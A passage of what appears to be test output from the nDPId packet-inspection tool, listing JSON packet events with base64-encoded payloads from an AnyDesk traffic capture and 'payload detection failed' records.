vUN\/NfHSy2FnRVYQd2Ektr93Rb1FGfZDhJVfsGUENzI27gNIqJfk2DwEaLNdVcTtnY474HA\/zD8DWz8tYqovchcSSE4BYzYsOCizzLEC1ESa\/7wDlU2y1+V4gDgPXxt8zJ65NsZqPcFCmQnimjzBmFMN7aEnNs6GKJ+PVtaQVDryxp\/qO1NRYT\/89lSmiKRB4IzkcfY53q7myh15hW0s\/jNjGy+ZAC4kRljJyQouDNQnOtBawQ3MDXWevZrycxvXj5glIK9jv4hXERX6yK8maA3gDiDgCqhMeMGDVfb7OG+ESYSO5aK3YbcrjCVnAfoeeja2Tg6B9C4r\/4Es1zjMktzS4mUlg6KxwQ+mw\/\/Jnz+BBpl52E\/VGFXgXFS36uuXrsKRn9uhETEEMIZPHFNlPW727rpRuj0xHPP8UwGA+bSFSR6L1irW2jmntrFc1Gr7u9WQRnR4OM58uM5mG4C7jnwU\/usykAEe3OncEai0EDb\/hS9Zm\/YXTYSBto5QWS00UX9E+Ex6zBbBVm3NB99jGJ0UqToRbpPaKK2gehq3Fm44u1mWdxTaYDyWNyrDhkSxIDHuyVYV\/YYG+qO5R9PKmNvV46c121aItAcDnIYUGaJPonQt8L8jzZdvDz\/I8PIjcoJZs6NRTcGIMYqbpUYKkJk+UWud8iPy5Ie73PuMO9JcOtRkV7BNrVjg82BMRTcsWPHVJoJGpC9RztgfHeoasdzNFD9IjJKt0XRg8l\/QXvhRDRvgq+KE0nosFcwZsE14d\/JRdQKzoKF8fLDWlbxMo0NkkrKiD5AnGkmT\/dw56PaUmal8nj3mjVZ4hc+fYKcU6t4pRmQg82HsFXS32QX2MHCPvTVynM\/n\/DZ4+tZAvDgkWKbo7izyhaVeDFKm5u4HJkcjwF4y3ojhuIvqQejlR5jK2oqdeEEGMKOhDX2fll6BoWBA\/TtWTMYkYMw3OhUOFo18v4bX5aNl1F1fPjcW2qKblvPKIob\/0+lQ17rJocfDl4nXbgdwUqqhVp0AGl4YzCeH5PutfYEIsrqb+htJWO1YPwIE+20lRK6ssAp9PaChxrG7OFidAQyEY3c3qzhpYbeOh\/0gtwFyWqd8kTdeefN1DFOjTAJuSJkdcS3ZaSXl+JORJgxqCAsOgQ9mCQNf9KlATc9U3\/KZWGqqwhNwGueGY\/5dnA2uzB0WwAp1T8t1ap2gSLtLUe3Pb01xyFwiwNXuc+APqbVipwUBB7EZ2oTDYy7ckGkPHeyPZPLFwUQo5prMfyHjT+8L79PxbgoMJbxgglQt6Zj1g8kujwGAqhJAdhoaMj1FOD+FfHY56p\/+JF8Yq84EvxGzwvjrVzLIdO6XPn9V+9un1HxpqjRa8cssbIxbNtMlKeMf6xzm6GEi2ew9gDzR5OtN6eTQwrApH\/yDMAyz4KKAuyefKxMHEBb9aaI+7yIOir68OPq3OM1huCM8jPQycUjv6v5DJ4OlZCqoWz8fX1LIVqLCEQF2kqUgv2SwA+ktqLkvA2QVsn\/V9KkVnl56+o5Lx7ITIgPJ1LWXCEq2Not\/cwXtcWK577dfpru4E+ENyYycjbj\/VlgnUt40LWi2ITNSyUHL9UI3tl+T8PicZQLPC4cISIynFJpdcZkwihOvTT+F8crKcGJNDGTfY7OPyLUp0leNfeGcoomLhsCHcpkPiY9tu+gXoAysCUPbwehYpx0btfN\/sZ1agG0DmUs4Rk1RSWwyUoJjNguSAR4CP5V8zkXPutqgeezk0iUVpwX9hynNYLIZg664AKhWDX3OXLu3co87FXsIGiZwCPP53gX4rfgpl7l72Ek2Gumlt8a17Sq1RPucH6\/ltXiXrt1VWMNKyzslIOpf3DqyiAIjMaE5W4SY0PZq067ef1D46nV8bOwS9i\/nT\/01VzjhMCNweRYK1I3y2A6djZPe4PsgIgEbv66tpSUsXTRdSb898bd5iB5z\/SH1XgcLKpibot87bkSR+w7EHMgShw6FIPlIPBEB3TII5wwyiuA00oxXf6Cq2YCd45Empu8HzdVQx4PFrszLfkG\/IbuBY6O4wu50DJollWd\/VPU\/qoCs1dmOenNh8lkjZBoGlstJtfHTLY5ss8oowXZ57cC8lYzhMJGdV6W036XKzXIsh7heW6GnjGvRImjydttywOSEEdgL\/QJjhDt0jqmmQhV7mbf7XOyezIJWEBo6tiV6kh785XZmIRdUT057PNdgM7hLSj4AbU2tCS98DZt27ZO3K1aIfpVP5tKpbt5ks34HBk0\/g4YxbtQFs1HTNjGEGu+M9N9ZrL+gfE2sknW4aIKD7u5rs\/HYyEJ\/PMwUxL7jtKGHqneGPyq8a3ycE\/Q33hdVP86zZXZXHkgDVNTW6vYFA3RmGyMqiiRRqKU\/7KcjZgjpNwC\/zAB5feUDq+iuUmCSXKJMCVRJVURm7Ji7WLr\/\/hgexm+oLRip9pPqF+PveD4caxk78g9HV7ExjMCVhvyuPRcjRMNJ9aFgdYj1+1KZGjWloz5JYdO5wDI6MzqpXHgkK9LwlpFBhnNWdQgnCcoB5dNMZeVWwF31CeWOnIgENtZ1p8Q+yC8zKNXxg0+uTJJWN3ejA9KllyoFP6LwDU1cofbnY31IbYSNN\/0VNYoAvvKI3qhGOXlNTEtH5hWGDqKt9OPJFB71y2KJUSeWaTiCn6dqgeoEjhpYZJKHjL\/4EakWG2eswViDy6sYZd4F+BmphfY3ctw+S7YPaxG0X48jGFL0\/DaukKDwbDf4fN4QIcecGpSoIPoFr2\/GIAZi8lDpE5TfEaLvGn+mY+CbjxV0gm43p4g588HMkTlxGCfuR329xrZvk8NrnWWrVQYtam8hi4oso6GsAyff3e48NtWxXeZbgoE8nwGkB7olSESTQSA\/pyrPAO1w2pKHbA1hJzqDECCDqw4Zf172E6066So7l+Ctmpn4eBHayp\/Be1\/nPU0WFy3KtA7Uj6dJOIsW2IqzYgbwtyOyRV9IM0hPPR5JQ4\/MfzNh4QTRtkBJZJoYCQVmrxJyMqaWK2lnKuO9tAp3jnNvP\/y5RJR+v0JAsETXngYlMWAPxf3G1x5lhUis5FaL36Ui5M34ndMKySCUzUPfVwLii0yFPYhi6HkUxxWRUmQof06a\/wLzVsXRz0cEYqUEPb11nPtTTqnSjASDxin\/Th1OWhDL+Yl+daJtFdGVlIWoj0nCmlNcs+TVZw3EaojXK1byhTMNvlWcsfcFhNKo3jdThgF+SMNf50w4eQbOk7xkssd0IM3RYMjt+jfIHvYfYM2\/phQCJLdaKweY0v\/ansIofnS33139aImcZO67r1gbKju8j2pg5DNLLlJGGrsfh9gpeSQu3BKkpsIEpa4xxYtHpLbrbD0yzuFPh3djd5+Kx1XNhhtBpwyDJMxf3r7TIRQ6w+UYpZzNeqSewnpKrqQKXt2K2zSt2g7ccdiL7GiXWuhxVLdt0lT63Ge8QOvVNKi9rPyI+F8+MOF2oKsFqPyeUUJm3eNQcAsD3t+xyu4sU+MtaKDajUctcbnXi6bxamPllHw0T2dCqclIPjoSFw3HuSeCkegg+afs8VsctYIzdn4zIvNqQaurFyP82HxDRp\/g7g+ZzrJ9AKxjDZI89609prxgWWYkcU99+nE8FJ5oWZQlawACckext+FtjtAezQsx\/4NxmDzkMQGU1VOD4CakCsteyetBe7FgTFrmrepACE3eAna2RxpJY0JqcSo8Djhhgb7DUb2pYyXBqzeJ5mgKXW5JbSW5FCNPVY2ojehskY2G3FdiEk\/c7uTgL1Zwm8tHbnrsCLRCvN20cvKsbBXxlrO5lU9eByOgjrMRgynnrgvYIGo\/0gWlTGu5T3CdrCmk4Z9SiOkJnlFr6eZ8S6KKXky3m73cR0WiV+EKpYtKo4yRzTZvYtB+nuE\/UT\/3aD9Dlw3QF+kOuPW\/NMicfNM0WGz5YiKgFIasx22qXXr0EncVjQfc6BCGq15OOeIJFPayT5mIZaieY51Wp553SSnpex9tycAut6lk+mLA\/t0CKq\/RK46IPhxKXv5L\/WdEj\/8fVR1IND18Z+zuIO24XxBPFJveUOyjr4f7x3thQnLgoW12PCbGGBnxBm4a0obKPgQtWSubW4R465bsnN9wHY+Dh36Xe0yyXJIQhYdZSYVi8FeWdKJEN8wHCjN7C0afNd03VSJXPjvThF7x6I9gKIftvKm27403bMkMNYSd8gtJWgEDZciZeLaEWGghxwWOJCkeWqlNP88ZHlkfUe62V9AGBo0sqgVXreWRPqWLQKuUCWeSUyseKQS8y92N\/if5L4n7XsYN0tF9k\/AzF8l7FAcyTPyQGfTTRwDzR4I9z5U6evRramvm0tG2SA0gHFTZNR1rHdOxHxo6tf0uECGY2DLRhANqO+ojKTsA5TPf3GaQ+2rv7ddcJKV5ZI2muw0U9VWaAscSXKWsQobRVEnLgpbDpPopQZejNETEN2DNlZBS2bOh\/ykmhM+VfZNSWX94qFCSRlCZzDn8dtudIKaZRxZyAqePEd67h+7lac5mm33SxD0ews5r\/0eJYmjD\/rG0w3x+DbbPXScZoZK6\/NEnn2wwTMEM9rcuyRT1Ip1WroF+QL64Z2OYWYoEV1EAVb6OlZVKFoaYIM8Lxvsr3Lyi4OZNEbEnSFwCiIdQ9titIOducROup2XSj0zWtiPkY3Os7dlXy5o0QyEuN+s6Fku+DLl7uFV8+Xtto+f8\/l2Nurk68vqVXLxJ3nW2OYZJksc5D3oEJqZE2B+t2pwMBvhjidFq8pGBTuaMOrD31arUqGiD8GOpWDM9mW\/70re3MIcEbrcp61j\/Yj7VovqgaFYkN+uieqo0YTyb\/Gov3ydur+0K\/arSPt8fAE4m\/v6ICRhjccQxIfSzJzOJKs0Jh+4+79SdxAG2ZHiNaMaPiteHEZ9u++xAzadt3K0SJf8PBMjTpM0yJl0dfXbiWHNM4yVfqy7PUt9GzuPOaXxnV1N+2M2VkPlzi927Mj7Fa0AHxyJbWJnZBCQqrWaIJP8QYYZTFwAJujOoMaoyM9QHP9MrNnWJADAzUjt0d\/FBSvOg0j9D2Q\/Apz0ChRWmUfB7e5vIQ\/\/pIeNwIUIiCKriB6kvlRQzGGPyyvcOd8XsOShwEeaArHLUz2S4poAKlMT1sdwgBjlqsp4QIA4lVvrpqDmh0N\/nYgdl6q7aWottN8aQRfE\/NVHcNqrmyINOVB7flAaEiaeBGKAGwAhgfOBVWlSCB2DMcBGFAN+WO\/9Eq7qmGE0OXU6S6aVl3qy4S4rIat4l4g9PFYFiIewvhL6hT0o\/DmD0fw3ZVy5R9OEuiJi49JXXTnkkjvrR5DRbamOcy6HQuJgh6AXpkgG2MtMfd8WSfgBXGz556XCxTXgbE1eU5KlNl\/9VK+KLAqlZmTaSf4gQSFmQCwk+2010TM\/xi5buucYA2U4rH3S7FG44hODATHUJ081t4GNwXj8k4qLX\/byILNP7WlYIbf8FoOYho0GrgQqyEnGfEEHi3\/6hOuqWXit+fV9Op0R8zni3eX+RkMMquUGhT+JIYAhFVGievlBMjcj6Ur72vyDY4nYMvN\/C+akUZngUq5dRLvZFx0QhZK5diodeuK+MNdJvnFVHionegTd5Up6ufxBsl4gDzAGyhQmMBA\/eU0yZ8Nrn3Yulhq7eOWyjgLyUog0Png\/PRCIOP8Rrgff31y1Nrw+N914J153Y6Dg6TjYWHoJQh41mELGWlYhODW6RKEi44kmCeWwYtorAW5sd\/OaMQ7v4tbipcw4qzl9DrDsJKe5i\/eM8CMxj1MDNm+3mt7cgRWmYRUjyyga4ojLzgpbWB0iuTJCG9lPdJx6y3iPLCyGvXgUzfurIFggN2bs3Y3Xk6iiihnzKE\/Zgp7LpRNpGmq0ihuFRGO74cyt3ou3TinrzWiECIAGn0bjV9ZXhII6nZlc91sk9EORwgIsJrdaowyBqnTYkKCTivlcdCnBWuAWSZA5+mCfLNFrKDx8PtZGjaaemWiAeOr1yaL+r6QDAke7CpHnXNQEfX02hy4xMplOC5vtcaEDh2pMN0jOacynSSHwFj1AmtiXfDnqmxgf4L\/mOM2pBIsAQmDGRZlg4ko\/rd7SuU8P\/MXgkvHl84ScO9tdp\/kOXtuquccZfurK8VHYEoS0ry9kdweU3b\/NRAoW+OEq3NIuc9bkuZsKwphdljGBnzD7eVxEGzmrsvPZ2Yo5oqPUQN6zxjkMtNu\/gXLEO1TORHLVm2rwl2tGOupuGq94oMCUtPSDIPetmI94bdB65eW1GTh9\/xS4rXShAX3cAgSVd\/PexNOslhydWLCYLer09SEHrTaPWe5ScoyHQdYqKwRwTT6uO72zKcEKEI7guc6RKSUvVmpjd2VmvKNL2NbnkMyTd2BrSNbKK3Go5Tj8bKEODK4uPfaJmLMqH0Nb7HHfJwbiDxyGTzYac7Ch2ywkJ7uWZfamKuNg74FnIoiKinVaBEg=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":145,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +07817{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":149,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":733774,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdsVAAIAGAADAqAG7wKgBstOUG56PGk73WcP+aVAYA\/6ExAAAFwMDFXdZ4hNO+msUwHrdRQAHZYBWkrRxy3SDqALON4NJEFMxe7esnxwNtWkxWXYPrpG+6p6WHqhzbCZQUO4FlCm7MQj0\/uJF12ix8Q0LUznRHJfYZdlLmPiSzBlPR9p4cSEE2MC6h0YFBHnGdPYxNlRhaovOXjp4ZV0hg7sYYIjl7AqZMSnvHjGttgg21AIxVcb7nj8W0GMMZLGy5PpHjd\/nSwulA5whnVqvkbf97UzW5r3jY40q\/3qRzQb0SYRD+oCjn2FHgbOUH0gsF3sYrAwHxWQv5oR204A4TNf0NFpgO4ZWqzWYfmVNRkNY0I7AG1iybJDWnVZgdWIFGBSQHJE5Z\/UJCDB33vdXkJJXpsZlqlYbKXAZAqo44qIM1u5ijiwkzh71M3dw1sggpGHP1Xq7je1ycHDxzncUFWs8QaIslXvcpNkD4\/GIKPACyJ+c\/C2EZvEeUORfopHvDQ9hU+IG0Ybff9ONtZQr4LBjtkG3\/t5wr92s1a6OBggHrpI9r9H1WcOMckgbNzU6kISkJUVJsLN2cc+2tH8NvX2pgl5H6mdapnaR+tXCap8umVyYppGdrOS9cCjh5gypDFZCvMaHG2BitswUyZ0PtKcUjQk4Q68F94mLArb5Skt6nJOjf0I\/Gf+dpBb6ci5axRJyZbiQxaML9mIuEX50rxnKtGCtHevuPAxJowf+7utVZFQOpTvDmYHHiLiMzaWddiWcEOL1\/PTuB7sIRrX1Ou27xjTPiLG5MtYnOkF8q9aijhHeS+p\/k+7lgIVH2WbDOJmk2VP+2IF26uQq6gR+GJJWpnqvAfd4lorSIduisAWbflDadMQOQPi3zfnlCtTX8B70GTiQyj3e2V5yBvhJefynTth7YdUR2bLvAoI58HXm9ZDNFXvbNAau9BxrBmpg8bHNt6MAiAZGdfgZetT\/3Gp7r7qJbBxoUaIB1aKUzoi5u\/iDNRpUGSPcDImxi7atqB6Id8gvPy7qGnvvxIP20c50WEFAUCH0Xgx1hCmHIhRCZv0BsIeJGZe9pCf6i7T441OAnPTf\/pCFfP+CgqMdX6hF92P4bpOgXEsy\/FwDdrVPMYM\/rki9NoeQ2oR8foWbkTY7MAfCucsxQcKnKty\/oXH275nrV+qC7O+sbOfKzrh52pABUyXmVPtg716iEbOVxzOe4rrfkFwtVgSdWPHvsmymD9bNREggcmFe+wAcRXFbLecW07K2z0U5xntxR+hRvOWwfCxJCyELEu2Bt3\/wtOrixCsw+nQL0TtznbEnHnTeIOzIOf2f2sST4BtIlmbLgs1MHn1WfiJzy6AhumD3GmLf+G3s8vej00t1WbtYchpl3kqrZdzc3i9qUdiHb0bXbn\/6yMkruWMrAgX0Kd6bONkKf5v47YzqfhSaLUhgkq76HB23Vie29cwscqQMiaVJ\/IVNAc+hCw6Jbl\/uYsU3YGdSbIeFA57LikQNnIkiuch43RxW9yQY0ISBtiIVh5gcb6kj0sDlU6wiqKnV36ENSC9FDVUdxBj0Vu6EdkZmkfzh13bu4FZFnIK51aJTbWb7\/aE1xURgJrWEe6oh2UDc0k4OVf7+nsrTh95ql1Z6JeYD67w8Y8pmIfn30XtWPkhHWFYbXjbyu1AUEVC1\/3zIWFWTw8LXe64iM8VRmIdcpmduddFWc7S26VBBGcwvzmfwO345o5V4j8edC8EN2Cs6ByaYa\/t1HZj6j9HvFg1IBCSCd9CEjiPBf5A4JiYIVqQY66VPmtgYlzEAq9WgJGsZinHdnUGJN2GpkQfxsLbj3Fm3K0ic3T\/SWbACSwd4qNXyTDPg0sZINpwYREGnCM7UUWa+XvzqLnYHm6JNl3UmD3O7i1soS5mBtjVC6HjlHept7tSmRRuLXmZYduqP67nZdGQFGHsViRARZBttGFeOQRgMbcT0q\/n5jQDj+PSYOosY5l8u5VRqQNONC7jY2GFUtgsz27ktw+z7NXfmzJzXXTwZsFD1gHRWeHo7XhGC4X13njUmjV4ZR+Xo+oLziVdnZ7fzpCZw8FYdXICz6tJMLugbIE3Wtfeo4QHstB97Cp6MTD3a5YGMQTEPtD2G0\/76lW7OVDrraRN+hgwxFyzLDVAyMexN6zuZqt2XMj+\/9iIpZShwu+2g9yn2ynLOBKhPYUUAikWwJD6zldTcOsIQzgYa5pJnfZX0ku5Gv3G\/AvnZswa4EkR91ZKzRdZ7xlskmYsrI6XLP\/3TrR7IL5TM+to4Zooa+OORpG9PWVkOd\/sNvgg9FEV+enLGRawH66ytEOZnXBwdTonrZtOi\/HYjWVXO5Ng6Lk8Z2zlAQNVvXA3RphSDBwJaT2buTfX6fm12p6wWyoiRvN1BuSydVE5iRpiCYO1ley99nTums5Mq45rwZ+i\/a1vEKANjJ1Puz5tEAT1xVhUCOkR5hIbUeAdQGgiqYhumZB+KNQbOqbnnOMKUJtZROjVbvuVg6qNQb0S2qnhpFYUyXidzPRe0YVKKbQy8J7ZHglw5wfWYLdS9BE+wa+u9cYKdPLRKctRGwijaUZaJtY\/LAZC4haNZV\/bHMgHtwMALDL0ZzfWxDFIKwXCq4UVzlbkM38jyUI5mhvEEVqz0kxuKUT\/49RlC0MPxdHnYZvQlJHis66y84DRewI9h1L0Z+L6Dyn8gjYNcyYvID4r1DnIggCTQ8MTBBw8roppq5skZk2N1KIhXEklx2aMNYtRCjDj10bZyHLv6Vg7i0sKuwWV49YBaZ6Eih113U3fl0zBn0HggKJZNtk6FOHy28EyC\/9F7FHbZG9+TwfvMzV1EdK9oCT2VltQQF03LBCYgPXy5\/TTjCJwq6D7Myp1iOrF6j5We2fqEUve22zyhW+RLvwIJFnSP5A2Gs1jLojnAhyMHd94YzfS3s7aENC6HKtui13KZblp2IiAW5RiBsLb9nlk2t77hMd1G1lP0MKALqhLt487H4x4Wlvddmxg33Pmcq1nX\/Pfk84BCIem+iIdIKvnPlthqII9sqccJq3\/CFC4+S32y6odBsLKi2sCXPiUQ8OYyb+BnFDCaCoPzoGA2M8cgZytIphO1x70GvxINqfHzBnEtGWTDmfAq2Le1fDPCbpcme+Krpslj06IRM8ulurlIB\/sW1hXI94vFDi2+MCDrix6RffI+GqFDu7yPP+reNaQ5Y8k98vMPZsPX6eDzHgezfJlMAJrUljBUki7tkgpLNMG5WcxTpNkAULZD7w1VILqET+bGPt57KGE8m9Fd\/mTBs7CWy9OfuZK4hdgwA6a48\/1+h94d6Udl+CFy4r0B+kVx2gg8cbVDJL9HhREsvcUdhb2KH6\/GlGcdrC2PwClKaQsRcy3ZT\/GOZ1KnXs0+D00WdHj\/0lIY3KK5f5eDLuIDRYuuoE1EFetWy5m3eififQf2Ow1EGFFsFur\/NeHtc+OLTd5FXN3zRZZeVHSS3NdLpjBC0woHHZea3YCX2hqnaPcg9xIc31HJVRU030053AdFRcmIIiL\/FLujt2TuR6\/FVSQmNPU\/j+ZsBauTFa53AIUfQgNeDgCWWMrtyCQQOmrRuZqdysSW6l6h6EEgl1kb\/ylfx03qkHP9u10+iJas9H0\/HC7Mi84UgbA34r1kN55w0k8B3zSGoXc\/tGizPFoa4cOVW2yY85gtihAFDJAVwQmqqIR+8M29AifAZqQGsDKdsRwD9KF5dd4tIkC9DCHecA96EmnLteRZjDoc0f2\/QuT5uplaaST+feVyA0HcIPTOXJnZirVqNBD6PuyDKZG72whgTac\/8fT\/2BVqk6HV0xSdB2wgTgBvgTw3j8fshmhe60g5vFlmdLVKCNLzgIUJng4PDXSG8D\/4bszqtV2k\/8qXoF4L5lmxSmwIBqT7w0\/viNAkEgHyiVTXmxAUrc7lz0RGqBkRh\/QHj232Ml4km6UebUeamyAyAOXV6jAPJgmxys9KhS+2jKYpaMwSe5yNY1WHPdOFpOwYhn9hxr\/w0ztCA+2OrpeMW12ZU0lKY53\/8iZmrXjxMNXdibMYTPshGowOJ2+FG9uMQ6XXBkIam+t56iNGLZo4IzK+IHBmadu+WhFj5xFFaBobTfabYoyLyrDHnjSQGhWCziA\/K3o9VZSQHgMBaIZeb0R8rT9OMppVw8KBcSRJbl+T0e2MprWQj+4\/4dmgRPDlbGn5jzcneirYml1Vzt8px1YTwu1t7Y\/X8kcF6UpAcWp54f0FSUPVZMaFAC2pbgruhPxvWogF63yv8zxXPodFyme6Rjqhn\/Dc\/DXhGDdQbaYCa81ROcwu2mOzwJsy8oHU6TP8eh+7ZeEJZehbXGPIaJLpiJDCMirIqT9eJ2GMmSiWqoHp6wDrYVs9XpaoqcHlDUXEBpUeNWXG6O9xq\/08uicoxtWyPFziqYC99de4\/opZ2g5JLxYFyt0xYgafpC9VYXDVxJKVw6tEmyosbtSUt6a9wIE5OC7q\/Bf05+4tb7znOJ7xQIa8amxOfGYvQ0sY5isoMnxDLkdXJzwmP3VUQu6+AI9bqgHVBJnDemAWgqmSA9jUUSvYlHHwgOqkz8Pp3A\/bRLkdA+Ij2EdOnW7Ktecp+mN49JY949CVZPUfW14RclrPyXErL8DF3mVghl9iYGIYFgKLQi+hAJy+mxkI+rODgOQS768lAnGkpNQZdt5eVm3iV49VbDsDL10Avi7fW1dDj7xWJfZBd65ygrhnSUzBAOGV4ofDEiCww00FmJbHY2IjKt7qRfhi9MgA3fV53C+kymBz3OerXovXN6mNG0a3f7K33y0Us+V7X6JcSOjhHhxqGDNvjEkoF4fDjwGjpXcnlsHsY+KyTyWqoe8ektLjQxPMld\/PMFjoM7NFvH0jvoBgLQXnKcwZsHirYWbCJMykApuwbHggfVQtrzD8XULi4q5QpbnCfivWOZ0d5qT+s\/Rz\/4Z3yDAfE4w3ATUlvL0SyqSa84zgDBO3YPhr9+O+qaGSC2TsSTZEEZxzZM9QHWiTZ\/52CaGua+Iv8rInakrcTNZK33Jb9EfNfJCUqV66apU71mPu+xBVkHDPX\/jW8l6vfzRDOdkkN2Fcoqs397HjcVbbbz3gtXrzZ+LA05qhLf6n6aprSkuqypVRSNFn7zWtdjF\/fHwAyUBVGkFUVLGIxB8qSJ9s8jQ8FVVCAfNy206OcMT20oWOl1tcaqwYwi7M5OMa3MBAeQ06ohkytIUJdH23B2ZHihhrdYofvcp3hksNSlNPACGFeMAk7cfb6HLtkaquiDtfZzZmEW7Im1+IdedpkW\/MVvTQbsl7QYlzt9iMUdAbGgXEsRdSjcR8XS85iHXDJY96BHfgSibkfVbje2LOGBn3qEk6goNlea6x6H5vBE4fCBoMFa75BJIuNqgObt5aAW\/l0Nk1av4Ir1kWcRYpyHmly6RYKq\/sLjMGWtqYUGDdhpY3X3yeHR\/6vt0s+F4IY+EYcokK3278+XEibgxsa4iV+4oHXpcUn7S7L+X1pRsDJzIVFs\/+MVJwTMpNY5lqxRVBEVMjVWh3jm3x+j7OgLbiUxW4hOtkAs6GOZj52M8JYf1VdFUFqMdDfU7MdRboNyYA9v+5dZZWGsOrQwMjA3rXHYCEeE+GeMjWZtxcTstJPXpB+pnnuvGZ77x5NDdGjqdjDbaOBKCx+0giSXLuXcXR7tVGA8ZxpGq4fnXWkBkTZaMCZVP0i5lV+KoewkWEfyZLqc435H9hvq0KNuvRA0+u274+exJ5RgxiLZKIaBsm+OheEiVe4AcmAcG\/VJr\/601PxyV0ik\/MJ6aPoc4YPNS4obIp62kwdnjp7nHUlT+U2gbno3fJ91dN8vvyo8ezp\/VnyOYnNaTHsskH3HTaiiNag3uBj\/YzYqhi8DsA02iin5OJZ0N9nm2h7arQTh9R68QMM1JqaadKpHcmX0z1FycKZkNlWzCBaSbGoRp1agcjx8GUbJ0+dPnDrP3ZgI2BSenyBjZhvnoa1V5MqIfXbDleumaNSNHQWHk+GY2adxxWaeju8MitfATGU\/MpCtCGHUJVL3l3fHrcdU70JH1+zyv4gIrhY3A4XYHE26y75wvKGBB5+SB0hz6KMOtU29sqOBx5nylZcf8zDH2zwMrJ9j9cTsu7iW\/8NTcvUxRPIYsp1WY5f2FYNe9Ml4CBO4ZTmrQ40Xlvf\/zRLCSS2P2i4XpvI41FTi9k9B4x3mzyNUxA504X7yAUFneK+yWWLpyFo271mKq8y5s1ZSpnQj9lUO3cI\/pz93sjEqYEAe9coBEsCxb110cnIAxduui5eiVmNeFy+1Inhm0IhfUSu7oPatxEzoTnNx2kQ2oySnI3g6YWW3jr24kUp5Dq4bg\/4GvzMa\/MEH\/rm8ZWTeGxkLAwbml6j9mglTQmhOgMSSPU4svEkoE\/n0KZP06Hk29xUPIQG2MaWPd81Y\/2SR0nizJTv83m0YK+qBFlzt7vDngMY3zqPwjyhUhHzMl\/Sn71LXWC0EiIacqWjoV6WBmGjIOU7w2rl78arOFdtFbwd4bTJxQWSaSZ2z1uC2qoU0Zbt62mVH9eB8nBEfpFHlwCGRp8q7vrwPCY0Z0vYG0N6LoAbgnyPfOP++1sLhoBKviX9QhXF3nfK6Gzt1f7xZNEsQKWH0SsW54C8N1PMNJU1dOD5ZPkCF5WPYIrSsI5cCi2d8dCooYhsXFUyp3bZLARYp72yzrYoqIZ3\/zRLzbFc2vtAB1+nH2\/ROvzyD2KiIXWamUWmUV+qqlXkKpzrx+etu6h5+ooZ4laQNlBx6fqiEjRHgCEuXGcXEgfO2pWtWQMryjjUorb3HxmJfqxUY0JPqYZVYmkicKoDvcPB5gKfVfI6oFzWZbj8XzMN8ps8wAm2ypQ45C5JIE3gUSGhT1IINr6IFarsR9hkJ6Slui4MyvMK\/bfvLeE66irpCEo\/wvnCLKpQccWHB4eT23rH0K3raqXJTi0ip\/qoXp+yeiucE9a46LQZGlDTMK2JqNyBEkv18jpRea6+vKH+Utit52VICIqMPYe7g6REYZ93esWWGyHFUyAlGpvoQDEsJClNHQHhbtfscuiKtZaSa+9zkIc1X98lTMSZgAPGvF6UB+ARawTIEzwOZJVR1dT3Z8ThNwJeZBvt4GSCnMvCNBfe1Lp9zLCfxjNfknXMD1Mqrd3LtCU9vPWQ58V8t5pAGtKJlqmjp3wkbttDe449q5NsgJesrozq0TffticPY+hxEPmwkD6CAhlF+aZzqf1fcWpjH9MneL\/rVlmFaiWgKMdEAKIvc+bjkqaD+pSMqt1v2c1cLUSwR70WWv9i61YLN8YBUnQ5gSgU5RBIki7QXffCoQnYFjLpLIc\/A4nshNzwYNJLV\/qsyUQsFaECNa0RYa8QA=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":149,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +07816{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":153,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":734216,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdslAAIAGAADAqAG7wKgBstOUG56PGmRzWcP+aVAYA\/6ExAAAFwMDFXdZ4hNO+msUwQ6V1Ft3eU34Gpiy2oVYPFGw4BdBtilH5B\/HPQBIRyvW9uoRMhgpAtQXWctiSRe5LEUxpi0ZkqdbqDm08EYWrbNt+M3gA9TI5O+fPHg\/hx+6UcvhN7+rhbA3PxDsrjb\/ajauSk2cpw4rHrvgWCNDzwxN+ra3AAA2A6oIGWC2IXtL\/dCYlPrgX8wp67xcF80zA+26aSijM4yk9ieGHTXyIjFd3RP+NX4g46eekD7Dl3NK4yW5YDGh6e7jMDFuHGQPWO+akSauWEBAh68Gb5mjtvMqgVwhZJRd1MQkRZHYxreJK4ZS3zDrG1VXIcc2d7RlWZRxprmoSY46nxwheYX++vJpfnTKqG9ynAe4hW\/OFvkNrX\/LugYYBKO8ypm5IretHbtjDjYl6eX9tdj8TT6WCUYPJ6dweySAh730jLxpi1SIfjLkMOHvbj\/ddEGLpeVWWJm6Jr9NwkzYs3JcnObnYb4LehdtTdWDFtidwv3CJ\/m0yUeZzLBMTTP9ypVN\/b6gjPN8v\/3weVx9txoYnQgv9+6k1gHittDpN4vIQoXVezM2XgboIP86IrCeyaZq01gx1fiFMmSjzC8VB4zPtWBIpGFtNrNMleMSHnHrJm3ErG2Ni0VtsgJSfEsPWPkbzmffDiDzZxF3hheVSFHwW9sUmWJGTW2pyj7hDqROC2rRhKaAR+2Ulc30OjiuzzAMUdRdYD14+9nkRuU546QQmOzlwMPnxGsiWkXNHVT2yecTvJg63W4G5QQlDVT8Zx7ExHxnNtDStIjbqINiOru8OtdqAcieDFNARs7s2O5ILqQO0bCXqT2C1JkrCeknFqd+JXr2f3+K+gZJfnt1jgv\/SvYpUNbQ3FN2TXYPWqSkUKgnNaj4hxfdBmt\/VFEq+rtA5hxrffHkoV89oKt+dbQbh3vaMXHjpUcSyKQopi9DBiesHZt4CwXV2Q\/WmME3rXwkaH5pGRMXrlpY7jxc1jzlMNbg5f0ixysNtzCyWv11O5mDkNJuUoy29AwMcJ0UIxa3xvt+CrQjkxdKeAKu\/t5l0pciume4Y8qLC\/05dwO+